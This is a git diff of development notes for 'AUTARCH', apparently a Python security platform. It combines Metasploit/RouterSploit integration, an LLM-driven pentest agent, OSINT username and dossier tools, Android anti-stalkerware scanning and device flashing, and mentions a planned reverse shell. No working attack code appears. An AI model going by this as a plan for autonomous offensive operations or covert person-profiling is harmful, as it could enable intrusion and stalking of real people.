5. Can run fully offline (on-device GGUF) or via Ollama on AUTARCH server
|
||||||
|
6. Agent autonomously monitors and responds to threats
|
||||||
|
|
||||||
|
**Status:** Future phase — implement after reverse shell is complete.
|
||||||
18
autarch_companion/settings.gradle.kts
Normal file
18
autarch_companion/settings.gradle.kts
Normal file
@ -0,0 +1,18 @@
|
|||||||
|
pluginManagement {
|
||||||
|
repositories {
|
||||||
|
google()
|
||||||
|
mavenCentral()
|
||||||
|
gradlePluginPortal()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
dependencyResolutionManagement {
|
||||||
|
repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS)
|
||||||
|
repositories {
|
||||||
|
google()
|
||||||
|
mavenCentral()
|
||||||
|
maven { url = uri("https://jitpack.io") }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
rootProject.name = "Archon"
|
||||||
|
include(":app")
|
||||||
526
autarch_dev.md
Normal file
526
autarch_dev.md
Normal file
@ -0,0 +1,526 @@
|
|||||||
|
# AUTARCH Development Status
|
||||||
|
## darkHal Security Group - Project AUTARCH
|
||||||
|
**Last Updated:** 2026-02-28
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Project Overview
|
||||||
|
|
||||||
|
AUTARCH is a full-stack security platform built in Python. It combines a CLI framework with a Flask web dashboard, LLM integration (llama.cpp, HuggingFace transformers, Claude API), Metasploit/RouterSploit RPC integration, an OSINT database with 7,200+ sites, and physical hardware device management.
|
||||||
|
|
||||||
|
**Codebase:** ~40,000 lines of Python across 65 source files + 3,237 lines JS/CSS
|
||||||
|
**Location:** `/home/snake/autarch/`
|
||||||
|
**Platform:** Linux (Orange Pi 5 Plus, RK3588 ARM64)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Current Architecture
|
||||||
|
|
||||||
|
```
|
||||||
|
autarch/
|
||||||
|
├── autarch.py # Main entry point (613 lines) - CLI + --web flag
|
||||||
|
├── autarch_settings.conf # INI config (11 sections)
|
||||||
|
├── core/ # 25 Python modules (~12,500 lines)
|
||||||
|
│ ├── agent.py # Autonomous agent loop (THOUGHT/ACTION/PARAMS)
|
||||||
|
│ ├── banner.py # ASCII banner
|
||||||
|
│ ├── config.py # Config handler with typed getters
|
||||||
|
│ ├── cve.py # NVD API v2.0 + SQLite CVE database
|
||||||
|
│ ├── android_protect.py # Anti-stalkerware/spyware shield
|
||||||
|
│ ├── hardware.py # ADB/Fastboot/Serial/ESP32 manager
|
||||||
|
│ ├── llm.py # LLM wrapper (llama.cpp + transformers + Claude + HuggingFace)
|
||||||
|
│ ├── menu.py # Category menu system (8 categories)
|
||||||
|
│ ├── msf.py # Metasploit RPC client (msgpack)
|
||||||
|
│ ├── msf_interface.py # Centralized MSF interface
|
||||||
|
│ ├── msf_modules.py # MSF module library (45 modules)
|
||||||
|
│ ├── msf_terms.py # MSF settings term bank (54 settings)
|
||||||
|
│ ├── pentest_pipeline.py # PentestGPT 3-module pipeline
|
||||||
|
│ ├── pentest_session.py # Pentest session persistence
|
||||||
|
│ ├── pentest_tree.py # Penetration Testing Tree (MITRE ATT&CK)
|
||||||
|
│ ├── report_generator.py # HTML report generator
|
||||||
|
│ ├── rsf.py # RouterSploit integration
|
||||||
|
│ ├── rsf_interface.py # Centralized RSF interface
|
||||||
|
│ ├── rsf_modules.py # RSF module library
|
||||||
|
│ ├── rsf_terms.py # RSF settings term bank
|
||||||
|
│ ├── sites_db.py # OSINT sites SQLite DB (7,287 sites)
|
||||||
|
│ ├── tools.py # Tool registry (12+ tools + MSF tools)
|
||||||
|
│ ├── upnp.py # UPnP port forwarding manager
|
||||||
|
│ ├── wireshark.py # tshark/pyshark wrapper
|
||||||
|
│ ├── wireguard.py # WireGuard VPN + Remote ADB manager
|
||||||
|
│ ├── discovery.py # Network discovery (mDNS + Bluetooth advertising)
|
||||||
|
│ └── mcp_server.py # MCP server (expose AUTARCH tools to AI clients)
|
||||||
|
│
|
||||||
|
├── modules/ # 26 modules (~11,000 lines)
|
||||||
|
│ ├── adultscan.py # Adult site username scanner (osint)
|
||||||
|
│ ├── android_protect.py # Android protection shield CLI (defense)
|
||||||
|
│ ├── agent.py # Agent task interface (core)
|
||||||
|
│ ├── agent_hal.py # Agent Hal v2.0 - AI automation (core)
|
||||||
|
│ ├── analyze.py # File forensics (analyze)
|
||||||
|
│ ├── chat.py # LLM chat interface (core)
|
||||||
|
│ ├── counter.py # Threat detection (counter)
|
||||||
|
│ ├── defender.py # System hardening + scan monitor (defense)
|
||||||
|
│ ├── dossier.py # OSINT investigation manager (osint)
|
||||||
|
│ ├── geoip.py # GEO IP lookup (osint)
|
||||||
|
│ ├── hardware_local.py # Local hardware access CLI (hardware)
|
||||||
|
│ ├── hardware_remote.py # Remote hardware stub (hardware)
|
||||||
|
│ ├── msf.py # MSF interface v2.0 (offense)
|
||||||
|
│ ├── mysystem.py # System audit + CVE detection (defense)
|
||||||
|
│ ├── nettest.py # Network testing (utility)
|
||||||
|
│ ├── recon.py # OSINT recon + nmap scanner (osint)
|
||||||
|
│ ├── rsf.py # RouterSploit interface (offense)
|
||||||
|
│ ├── setup.py # First-run setup wizard
|
||||||
|
│ ├── simulate.py # Attack simulation (simulate)
|
||||||
|
│ ├── snoop_decoder.py # Snoop database decoder (osint)
|
||||||
|
│ ├── upnp_manager.py # UPnP port management (defense)
|
||||||
|
│ ├── wireshark.py # Packet capture/analysis (analyze)
|
||||||
|
│ ├── wireguard_manager.py # WireGuard VPN manager CLI (defense)
|
||||||
|
│ ├── workflow.py # Workflow automation
|
||||||
|
│ └── yandex_osint.py # Yandex OSINT (osint)
|
||||||
|
│
|
||||||
|
├── web/ # Flask web dashboard
|
||||||
|
│ ├── app.py # App factory (16 blueprints)
|
||||||
|
│ ├── auth.py # Session auth (bcrypt)
|
||||||
|
│ ├── routes/ # 15 route files (~4,500 lines)
|
||||||
|
│ │ ├── analyze.py, android_protect.py, auth_routes.py, counter.py
|
||||||
|
│ │ ├── chat.py, dashboard.py, defense.py, hardware.py, msf.py, offense.py
|
||||||
|
│ │ ├── osint.py, settings.py, simulate.py, upnp.py, wireshark.py
|
||||||
|
│ │ └── wireguard.py
|
||||||
|
│ ├── templates/ # 18 Jinja2 templates
|
||||||
|
│ │ ├── base.html (dark theme, sidebar nav, HAL chat panel, debug popup)
|
||||||
|
│ │ ├── android_protect.html, dashboard.html, login.html
|
||||||
|
│ │ ├── hardware.html, wireshark.html, wireguard.html, defense.html, offense.html
|
||||||
|
│ │ ├── counter.html, analyze.html, osint.html, simulate.html
|
||||||
|
│ │ ├── msf.html (MSF RPC terminal console)
|
||||||
|
│ │ ├── settings.html, llm_settings.html, upnp.html, category.html
|
||||||
|
│ └── static/
|
||||||
|
│ ├── css/style.css # Dark theme
|
||||||
|
│ ├── js/app.js # Vanilla JS (HAL chat + debug console + hardware)
|
||||||
|
│ ├── js/hardware-direct.js # WebUSB/Web Serial direct-mode API (752 lines)
|
||||||
|
│ └── js/lib/
|
||||||
|
│ ├── adb-bundle.js # ya-webadb bundled (57KB)
|
||||||
|
│ ├── fastboot-bundle.js # fastboot.js bundled (146KB)
|
||||||
|
│ └── esptool-bundle.js # esptool-js bundled (176KB)
|
||||||
|
│
|
||||||
|
├── autarch_companion/ # Archon Android app (29 files, Kotlin)
|
||||||
|
│ ├── app/src/main/kotlin/com/darkhal/archon/ # Kotlin source (8 files)
|
||||||
|
│ ├── app/src/main/res/ # Layouts, themes, icons (12 XML files)
|
||||||
|
│ └── app/src/main/assets/bbs/ # BBS terminal WebView (3 files)
|
||||||
|
│
|
||||||
|
├── data/ # Persistent data
|
||||||
|
│ ├── android_protect/ # Per-device scan reports and configs
|
||||||
|
│ ├── wireguard/ # WireGuard client configs and state
|
||||||
|
│ ├── cve/cve.db # CVE SQLite database
|
||||||
|
│ ├── hardware/ # Hardware operation data
|
||||||
|
│ ├── pentest_sessions/ # Pentest session JSON files
|
||||||
|
│ ├── sites/sites.db # OSINT sites database
|
||||||
|
│ ├── stalkerware_signatures.json # Stalkerware/spyware signature DB (275+ packages)
|
||||||
|
│ └── uploads/ # Web file uploads
|
||||||
|
│
|
||||||
|
├── .config/ # Hardware config templates
|
||||||
|
│ ├── nvidia_4070_mobile.conf
|
||||||
|
│ ├── amd_rx6700xt.conf
|
||||||
|
│ ├── orangepi5plus_cpu.conf
|
||||||
|
│ ├── orangepi5plus_mali.conf
|
||||||
|
│ └── custom/ # User-saved configs
|
||||||
|
│
|
||||||
|
├── dossiers/ # OSINT dossier JSON files
|
||||||
|
└── results/ # Reports and scan results
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Categories & Menu System
|
||||||
|
|
||||||
|
| # | Category | Modules | Description |
|
||||||
|
|---|----------|---------|-------------|
|
||||||
|
| 1 | Defense | defender, mysystem, upnp_manager, scan monitor, android_protect, wireguard_manager | System audit, CVE detection, UPnP, scan monitoring, Android anti-stalkerware, WireGuard VPN |
|
||||||
|
| 2 | Offense | msf, rsf, agent_hal (pentest pipeline) | MSF/RSF automation, AI-guided pentesting |
|
||||||
|
| 3 | Counter | counter | Threat detection, rootkit checks, anomaly detection |
|
||||||
|
| 4 | Analyze | analyze, wireshark | File forensics, packet capture/analysis |
|
||||||
|
| 5 | OSINT | recon, adultscan, dossier, geoip, yandex, snoop | Username scan (7K+ sites), nmap, dossier management |
|
||||||
|
| 6 | Simulate | simulate | Port scan, password audit, payload generation |
|
||||||
|
| 7 | Hardware | hardware_local, hardware_remote | ADB/Fastboot/Serial/ESP32 device management |
|
||||||
|
| 99 | Settings | setup | LLM, MSF, OSINT, UPnP, web, pentest config |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Technology Stack
|
||||||
|
|
||||||
|
- **Language:** Python 3.10
|
||||||
|
- **Web:** Flask, Jinja2, vanilla JS, SSE (Server-Sent Events)
|
||||||
|
- **LLM Backends:** llama-cpp-python (GGUF), HuggingFace transformers (SafeTensors), Anthropic Claude API, HuggingFace Inference API
|
||||||
|
- **MCP:** Model Context Protocol server (11 tools, stdio + SSE transports)
|
||||||
|
- **Databases:** SQLite (CVEs, OSINT sites), JSON (sessions, dossiers, configs, stalkerware signatures)
|
||||||
|
- **Integrations:** Metasploit RPC (msgpack), RouterSploit, NVD API v2.0, social-analyzer
|
||||||
|
- **Hardware:** ADB/Fastboot (Android SDK), pyserial + esptool (ESP32), tshark/pyshark
|
||||||
|
- **Network:** miniupnpc (UPnP), nmap, tcpdump, WireGuard (wg/wg-quick), USB/IP
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Evolution Plan (from master_plan.md)
|
||||||
|
|
||||||
|
| Phase | Description | Status |
|
||||||
|
|-------|-------------|--------|
|
||||||
|
| Phase 0 | Backup & new working directory (`~/autarch`) | DONE |
|
||||||
|
| Phase 1 | UPnP Manager integration | DONE |
|
||||||
|
| Phase 2 | Flask web dashboard (12 blueprints, 14 templates) | DONE |
|
||||||
|
| Phase 3 | OSINT search engine (web UI) | DONE |
|
||||||
|
| Phase 4 | Wireshark module (tshark + pyshark) | DONE |
|
||||||
|
| Phase 4.5 | Hardware module (ADB/Fastboot/ESP32) | DONE |
|
||||||
|
| Phase 4.6 | Android Protection Shield (anti-stalkerware/spyware) | DONE |
|
||||||
|
| Phase 4.7 | Tracking Honeypot (fake data for ad trackers) | DONE |
|
||||||
|
| Phase 4.8 | WireGuard VPN + Remote ADB (TCP/IP & USB/IP) | DONE |
|
||||||
|
| Phase 4.9 | Archon Android Companion App | DONE |
|
||||||
|
| Phase 4.10 | HuggingFace Inference + MCP Server + Service Mode | DONE |
|
||||||
|
| Phase 4.12 | MSF Web Module Execution + Agent Hal + Global AI Chat | DONE |
|
||||||
|
| Phase 4.13 | Debug Console (floating log panel, 5 filter modes) | DONE |
|
||||||
|
| Phase 4.14 | WebUSB "Already In Use" fix (USB interface release on disconnect) | DONE |
|
||||||
|
| Phase 4.15 | LLM Settings sub-page (4 backends, full params, folder model scanner) | DONE |
|
||||||
|
| Phase 5 | Path portability & Windows support | MOSTLY DONE |
|
||||||
|
| Phase 6 | Docker packaging | NOT STARTED |
|
||||||
|
| Phase 7 | System Tray + Beta Release (EXE + MSI) | TODO |
|
||||||
|
|
||||||
|
### Additions Beyond Original Plan
|
||||||
|
- **RSF (RouterSploit)** integration (core/rsf*.py, modules/rsf.py)
|
||||||
|
- **Workflow module** (modules/workflow.py)
|
||||||
|
- **Nmap scanner** integrated into OSINT recon
|
||||||
|
- **Scan monitor** integrated into defense module
|
||||||
|
- **Android Protection Shield** — anti-stalkerware/spyware detection and remediation
|
||||||
|
- **MCP Server** — expose 11 AUTARCH tools via Model Context Protocol
|
||||||
|
- **HuggingFace Inference API** — remote model inference backend
|
||||||
|
- **Systemd Service** — run web dashboard as background service
|
||||||
|
- **Sideload** — push Archon APK to Android devices via ADB
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## What Was Recently Added (Phase 4.12–4.15)
|
||||||
|
|
||||||
|
### MSF Web Module Execution + Agent Hal (Phase 4.12)
|
||||||
|
- `web/routes/offense.py` — `POST /offense/module/run` SSE stream + `POST /offense/module/stop`
|
||||||
|
- `web/templates/offense.html` — Run Module tabs (SSH/PortScan/OSDetect/Custom) + Agent Hal panel
|
||||||
|
- `web/routes/msf.py` (NEW) — MSF RPC console blueprint at `/msf/`
|
||||||
|
- `web/templates/msf.html` (NEW) — dark terminal MSF console UI
|
||||||
|
- `web/routes/chat.py` (NEW) — `/api/chat` SSE, `/api/agent/run|stream|stop`
|
||||||
|
- `web/templates/base.html` — global HAL chat panel (fixed bottom-right) + MSF Console nav link
|
||||||
|
- `web/static/js/app.js` — `halToggle/Send/Append/Scroll/Clear()` functions
|
||||||
|
- `web/app.py` — registered msf_bp + chat_bp
|
||||||
|
- `core/agent.py` — added `step_callback` param to `Agent.run()` for SSE step streaming
|
||||||
|
|
||||||
|
### Debug Console (Phase 4.13)
|
||||||
|
- `web/routes/settings.py` — `_DebugBufferHandler`, `_ensure_debug_handler()`, 4 debug API routes
|
||||||
|
- `web/templates/settings.html` — Debug Console section with enable toggle + test buttons
|
||||||
|
- `web/templates/base.html` — draggable floating debug popup, DBG toggle button
|
||||||
|
- `web/static/js/app.js` — full debug JS: stream, filter (5 modes), format, drag
|
||||||
|
- 5 filter modes: Warnings & Errors | Full Verbose | Full Debug + Symbols | Output Only | Show Everything
|
||||||
|
|
||||||
|
### WebUSB "Already In Use" Fix (Phase 4.14)
|
||||||
|
- `web/static/js/hardware-direct.js` — `adbDisconnect()` releases USB interface; `adbConnect()` detects Windows "already in use", auto-retries, shows actionable "run adb kill-server" message
|
||||||
|
|
||||||
|
### LLM Settings Sub-Page (Phase 4.15)
|
||||||
|
- `core/config.py` — added `get_openai_settings()` (api_key, base_url, model, max_tokens, temperature, top_p, frequency_penalty, presence_penalty)
|
||||||
|
- `web/routes/settings.py` — `GET /settings/llm` (sub-page), `POST /settings/llm/scan-models` (folder scanner), updated `POST /settings/llm` for openai backend
|
||||||
|
- `web/templates/settings.html` — LLM section replaced with sub-menu card linking to `/settings/llm`
|
||||||
|
- `web/templates/llm_settings.html` (NEW) — 4-tab dedicated LLM config page:
|
||||||
|
- **Local**: folder browser → model file list (.gguf/.safetensors) + full llama.cpp AND transformers params
|
||||||
|
- **Claude**: API key + model dropdown + basic params
|
||||||
|
- **OpenAI**: API key + base_url + model + basic params
|
||||||
|
- **HuggingFace**: token login + verify + model ID + 8 provider options + full generation params
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## What Was Recently Added (Phase 4.10)
|
||||||
|
|
||||||
|
### HuggingFace Inference API Backend
|
||||||
|
- `core/llm.py` — `HuggingFaceLLM` class using `huggingface_hub.InferenceClient`
|
||||||
|
- Supports `text_generation()` and `chat_completion()` with streaming
|
||||||
|
- Config section: `[huggingface]` (api_key, model, endpoint, max_tokens, temperature, top_p)
|
||||||
|
- `config.py` — added `get_huggingface_settings()` method
|
||||||
|
|
||||||
|
### MCP Server (Model Context Protocol)
|
||||||
|
- `core/mcp_server.py` — FastMCP server exposing 11 AUTARCH tools
|
||||||
|
- **Tools:** nmap_scan, geoip_lookup, dns_lookup, whois_lookup, packet_capture, wireguard_status, upnp_status, system_info, llm_chat, android_devices, config_get
|
||||||
|
- **Transports:** stdio (for Claude Desktop/Code), SSE (for web clients)
|
||||||
|
- **CLI:** `python autarch.py --mcp [stdio|sse]` with `--mcp-port`
|
||||||
|
- **Web:** 4 API endpoints under `/settings/mcp/` (status, start, stop, config)
|
||||||
|
- **Menu:** option [10] MCP Server with start/stop SSE, show config, run stdio
|
||||||
|
- Config snippet generator for Claude Desktop / Claude Code integration
|
||||||
|
|
||||||
|
### Systemd Service + Sideload
|
||||||
|
- `scripts/autarch-web.service` — systemd unit file for web dashboard
|
||||||
|
- `autarch.py --service [install|start|stop|restart|status|enable|disable]`
|
||||||
|
- Menu [8] Web Service — full service management UI
|
||||||
|
- Menu [9] Sideload App — push Archon APK to Android device via ADB
|
||||||
|
|
||||||
|
### Web UI LLM Settings
|
||||||
|
- Settings page now shows all 4 backends with save+activate forms
|
||||||
|
- Each backend has its own form with relevant settings
|
||||||
|
- `/settings/llm` POST route switches backend and saves settings
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## What Was Recently Added (Phase 4.9)
|
||||||
|
|
||||||
|
### Archon — Android Companion App
|
||||||
|
- **Location:** `autarch_companion/` (29 files)
|
||||||
|
- **Package:** `com.darkhal.archon` — Kotlin, Material Design 3, Single Activity + Bottom Nav
|
||||||
|
- **Name origin:** Greek ἄρχων (archon = ruler), etymological root of "autarch"
|
||||||
|
- **4 Tabs:**
|
||||||
|
- **Dashboard** — ADB TCP/IP toggle, USB/IP export toggle, kill/restart ADB with 5s auto-restart watchdog, WireGuard tunnel status
|
||||||
|
- **Links** — Grid of 9 cards linking to AUTARCH web UI sections (Dashboard, WireGuard, Shield, Hardware, Wireshark, OSINT, Defense, Offense, Settings)
|
||||||
|
- **BBS** — Terminal-style WebView for Autarch BBS via Veilid protocol (placeholder — veilid-wasm integration pending VPS deployment)
|
||||||
|
- **Settings** — Server IP, web/ADB/USB-IP ports, auto-restart toggle, BBS address, connection test
|
||||||
|
- **Key files:**
|
||||||
|
- `service/AdbManager.kt` — ADB TCP/IP enable/disable, kill/restart, status check via root shell
|
||||||
|
- `service/UsbIpManager.kt` — usbipd start/stop, device listing, bind/unbind
|
||||||
|
- `util/ShellExecutor.kt` — Shell/root command execution with timeout
|
||||||
|
- `util/PrefsManager.kt` — SharedPreferences wrapper for all config
|
||||||
|
- `assets/bbs/` — BBS terminal HTML/CSS/JS with command system and Veilid bridge placeholder
|
||||||
|
- **Theme:** Dark hacker aesthetic — terminal green (#00FF41) on black (#0D0D0D), monospace fonts
|
||||||
|
- **Build:** Gradle 8.5, AGP 8.2.2, Kotlin 1.9.22, minSdk 26, targetSdk 34
|
||||||
|
- **Network Discovery:**
|
||||||
|
- Server: `core/discovery.py` — DiscoveryManager singleton, mDNS (`_autarch._tcp.local.`) + Bluetooth (name="AUTARCH", requires security)
|
||||||
|
- App: `service/DiscoveryManager.kt` — NSD (mDNS) + Wi-Fi Direct + Bluetooth scanning, auto-configures server IP/port
|
||||||
|
- Priority: LAN mDNS > Wi-Fi Direct > Bluetooth
|
||||||
|
- Config: `autarch_settings.conf [discovery]` section, 3 API routes under `/settings/discovery/`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Previously Added (Phase 4.8)
|
||||||
|
|
||||||
|
### WireGuard VPN + Remote ADB
|
||||||
|
- See devjournal.md Session 15 for full details
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Previously Added (Phase 4.7)
|
||||||
|
|
||||||
|
### Tracking Honeypot — Feed Fake Data to Ad Trackers
|
||||||
|
- **Concept**: Feed fake data to ad trackers (Google, Meta, data brokers) while letting real apps function normally
|
||||||
|
- `data/tracker_domains.json` — 2000+ tracker domains from EasyList/EasyPrivacy/Disconnect patterns
|
||||||
|
- 5 categories: advertising (882), analytics (332+), fingerprinting (134), social_tracking (213), data_brokers (226)
|
||||||
|
- 12 company profiles (Google, Meta, Amazon, Microsoft, etc.) with SDK package names
|
||||||
|
- 139 known Android tracker SDK packages
|
||||||
|
- 25 tracking-related Android permissions
|
||||||
|
- 4 ad-blocking DNS providers (AdGuard, NextDNS, Quad9, Mullvad)
|
||||||
|
- Fake data templates: 35 locations, 42 searches, 30 purchases, 44 interests, 25 device models
|
||||||
|
- `core/android_protect.py` — added ~35 honeypot methods to AndroidProtectManager
|
||||||
|
- **3 tiers of protection**: Tier 1 (ADB), Tier 2 (Shizuku), Tier 3 (Root)
|
||||||
|
- **Tier 1**: Reset ad ID, opt out tracking, ad-blocking DNS, disable location scanning, disable diagnostics
|
||||||
|
- **Tier 2**: Restrict background data, revoke tracking perms, clear tracker data, force-stop trackers
|
||||||
|
- **Tier 3**: Hosts file blocklist, iptables redirect, fake GPS, rotate device identity, fake device fingerprint
|
||||||
|
- **Composite**: Activate/deactivate all protections by tier, per-device state persistence
|
||||||
|
- **Detection**: Scan tracker apps, scan tracker permissions, view ad tracking settings
|
||||||
|
- `modules/android_protect.py` — added menu items 70-87 with 18 handler methods
|
||||||
|
- `web/routes/android_protect.py` — added 28 honeypot routes under `/android-protect/honeypot/`
|
||||||
|
- `web/templates/android_protect.html` — added 5th "Honeypot" tab with 7 sections and ~20 JS functions
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Previously Added (Phase 4.6)
|
||||||
|
|
||||||
|
### Android Protection Shield — Anti-Stalkerware & Anti-Spyware
|
||||||
|
- `core/android_protect.py` - AndroidProtectManager singleton (~650 lines)
|
||||||
|
- **Stalkerware detection**: scans installed packages against 275+ known stalkerware signatures across 103 families
|
||||||
|
- **Government spyware detection**: checks for Pegasus, Predator, Hermit, FinSpy, QuaDream, Candiru, Chrysaor, Exodus, Phantom, Dark Caracal indicators (files, processes, properties)
|
||||||
|
- **System integrity**: SELinux, verified boot, dm-verity, su binary, build fingerprint
|
||||||
|
- **Hidden app detection**: apps without launcher icons (filtered from system packages)
|
||||||
|
- **Device admin audit**: flags suspicious device admins against stalkerware DB
|
||||||
|
- **Accessibility/notification listener abuse**: flags non-legitimate services
|
||||||
|
- **Certificate audit**: user-installed CA certs (MITM detection)
|
||||||
|
- **Network config audit**: proxy hijacking, DNS, VPN profiles
|
||||||
|
- **Developer options check**: USB debug, unknown sources, mock locations, OEM unlock
|
||||||
|
- **Permission analysis**: dangerous combo finder (8 patterns), per-app breakdown, heatmap matrix
|
||||||
|
- **Remediation**: disable/uninstall threats, revoke permissions, remove device admin, remove CA certs, clear proxy
|
||||||
|
- **Shizuku management**: install, start, stop, status check for privileged operations on non-rooted devices
|
||||||
|
- **Shield app management**: install, configure, grant permissions to protection companion app
|
||||||
|
- **Signature DB**: updatable from GitHub (AssoEchap/stalkerware-indicators), JSON format
|
||||||
|
- **Scan reports**: JSON export, per-device storage in `data/android_protect/<serial>/scans/`
|
||||||
|
- `modules/android_protect.py` - CLI module (CATEGORY=defense) with 30+ menu items
|
||||||
|
- `web/routes/android_protect.py` - Flask blueprint with 33 routes under `/android-protect/`
|
||||||
|
- `web/templates/android_protect.html` - Web UI with 4 tabs (Scan, Permissions, Remediate, Shizuku)
|
||||||
|
- `data/stalkerware_signatures.json` - Threat signature database (103 families, 275 packages, 10 govt spyware, 8 permission combos)
|
||||||
|
- Modified `web/app.py` — registered `android_protect_bp` blueprint
|
||||||
|
- Modified `web/templates/base.html` — added "Shield" link in Tools sidebar section
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Previously Added (Phase 4.5)
|
||||||
|
|
||||||
|
### Hardware Module - ADB/Fastboot/ESP32 Access
|
||||||
|
- `core/hardware.py` - HardwareManager singleton (646 lines)
|
||||||
|
- ADB: device listing, info, shell (with command sanitization), reboot, sideload, push/pull, logcat
|
||||||
|
- Fastboot: device listing, info, partition flash (whitelist), reboot, OEM unlock
|
||||||
|
- Serial/ESP32: port listing, chip detection, firmware flash with progress, serial monitor
|
||||||
|
- All long operations run in background threads with progress tracking
|
||||||
|
- `modules/hardware_local.py` - CLI module with interactive menu (263 lines)
|
||||||
|
- `modules/hardware_remote.py` - Web UI redirect stub (26 lines)
|
||||||
|
- `web/routes/hardware.py` - Flask blueprint with ~20 endpoints + SSE streams (307 lines)
|
||||||
|
- `web/templates/hardware.html` - Full UI with Android/ESP32 tabs (309 lines)
|
||||||
|
- JS functions in `app.js` (16+ hw*() functions, lines 1100-1477)
|
||||||
|
- CSS styles: `--hardware: #f97316` (orange), progress bars, serial monitor, device grids
|
||||||
|
|
||||||
|
### Session 11 (2026-02-14) - Nmap & Scan Monitor
|
||||||
|
- Nmap scanner added to OSINT recon module (9 scan types, live-streaming output)
|
||||||
|
- Scan monitor added to defense module (tcpdump SYN capture, per-IP tracking, counter-scan)
|
||||||
|
|
||||||
|
### Session 12 (2026-02-14) - Path Portability & Bundled Tools (Phase 5)
|
||||||
|
- Created `core/paths.py` — centralized path resolution for entire project
|
||||||
|
- `get_app_dir()`, `get_data_dir()`, `get_config_path()`, `get_results_dir()`, etc.
|
||||||
|
- `find_tool(name)` — unified tool lookup: project dirs first, then system PATH
|
||||||
|
- `get_platform_tag()` — returns `linux-arm64`, `windows-x86_64`, etc.
|
||||||
|
- Platform-specific tool directories: `tools/linux-arm64/`, `tools/windows-x86_64/`
|
||||||
|
- Auto-sets NMAPDIR for bundled nmap data files
|
||||||
|
- Windows support: checks `.exe` extension, system/user PATH env vars, well-known install paths
|
||||||
|
- Copied Android platform-tools into `android/` directory (adb, fastboot)
|
||||||
|
- Copied system tools into `tools/linux-arm64/` (nmap, tcpdump, upnpc, wg + nmap-data/)
|
||||||
|
- **Convention: ALL Android deps go in `autarch/android/`, all other tools in `tools/<platform>/`**
|
||||||
|
- Replaced ALL hardcoded paths across 25+ files:
|
||||||
|
- `core/hardware.py` — uses `find_tool('adb')` / `find_tool('fastboot')`
|
||||||
|
- `core/wireshark.py` — uses `find_tool('tshark')`
|
||||||
|
- `core/upnp.py` — uses `find_tool('upnpc')`
|
||||||
|
- `core/msf.py` — uses `find_tool('msfrpcd')`
|
||||||
|
- `core/config.py` — uses `get_config_path()`, `get_templates_dir()`
|
||||||
|
- `core/cve.py`, `core/sites_db.py`, `core/pentest_session.py`, `core/report_generator.py` — use `get_data_dir()`
|
||||||
|
- `modules/defender.py` — uses `find_tool('tcpdump')`
|
||||||
|
- `modules/recon.py` — uses `find_tool('nmap')`
|
||||||
|
- `modules/adultscan.py`, `modules/dossier.py`, `modules/mysystem.py`, `modules/snoop_decoder.py`, `modules/agent_hal.py`, `modules/setup.py` — use `get_app_dir()` / `get_data_dir()` / `get_reports_dir()`
|
||||||
|
- `web/app.py`, `web/auth.py`, `web/routes/dashboard.py`, `web/routes/osint.py` — use paths.py
|
||||||
|
- `core/menu.py` — all `Path(__file__).parent.parent` replaced with `self._app_dir`
|
||||||
|
- Zero `/home/snake` references remain in any .py file
|
||||||
|
- Created `requirements.txt` with all Python dependencies
|
||||||
|
|
||||||
|
**Tool resolution verification:**
|
||||||
|
```
|
||||||
|
Platform: linux-arm64
|
||||||
|
adb autarch/android/adb [BUNDLED]
|
||||||
|
fastboot autarch/android/fastboot [BUNDLED]
|
||||||
|
nmap autarch/tools/linux-arm64/nmap [BUNDLED]
|
||||||
|
tcpdump autarch/tools/linux-arm64/... [BUNDLED]
|
||||||
|
upnpc autarch/tools/linux-arm64/... [BUNDLED]
|
||||||
|
wg autarch/tools/linux-arm64/... [BUNDLED]
|
||||||
|
msfrpcd /usr/bin/msfrpcd [SYSTEM]
|
||||||
|
esptool ~/.local/bin/esptool [SYSTEM]
|
||||||
|
```
|
||||||
|
|
||||||
|
### Session 13 (2026-02-14) - Browser-Based Hardware Access (WebUSB/Web Serial)
|
||||||
|
- Created `android_plan.md` — full implementation plan for direct browser-to-device hardware access
|
||||||
|
- **Architecture: Dual-mode** — Server mode (existing, device on host) + Direct mode (NEW, device on user's PC)
|
||||||
|
- Bundled 3 JavaScript libraries for browser-based hardware access:
|
||||||
|
- `@yume-chan/adb` v2.5.1 + `@yume-chan/adb-daemon-webusb` v2.3.2 → `adb-bundle.js` (57KB)
|
||||||
|
- `android-fastboot` v1.1.3 (kdrag0n/fastboot.js) → `fastboot-bundle.js` (146KB)
|
||||||
|
- `esptool-js` v0.5.7 (Espressif) → `esptool-bundle.js` (176KB)
|
||||||
|
- Build infrastructure: `package.json`, `scripts/build-hw-libs.sh`, `src/*-entry.js`
|
||||||
|
- Uses esbuild to create IIFE browser bundles from npm packages
|
||||||
|
- Build is dev-only; bundled JS files are static assets served by Flask
|
||||||
|
- Created `web/static/js/hardware-direct.js` (752 lines) — unified browser API:
|
||||||
|
- **ADB via WebUSB**: device enumeration, connect, shell, getprop, reboot, push/pull files, logcat, install APK
|
||||||
|
- **Fastboot via WebUSB**: connect, getvar, flash partition with progress, reboot, OEM unlock, factory ZIP flash
|
||||||
|
- **ESP32 via Web Serial**: port select, chip detect, firmware flash with progress, serial monitor
|
||||||
|
- ADB key management via Web Crypto API + IndexedDB (persistent RSA keys)
|
||||||
|
- Rewrote `web/templates/hardware.html` (309→531 lines):
|
||||||
|
- Connection mode toggle bar (Server / Direct)
|
||||||
|
- Direct-mode capability detection (WebUSB, Web Serial support)
|
||||||
|
- Direct-mode connect/disconnect buttons for ADB, Fastboot, ESP32
|
||||||
|
- File picker inputs (direct mode uses browser File API instead of server paths)
|
||||||
|
- New "Factory Flash" tab (PixelFlasher PoC)
|
||||||
|
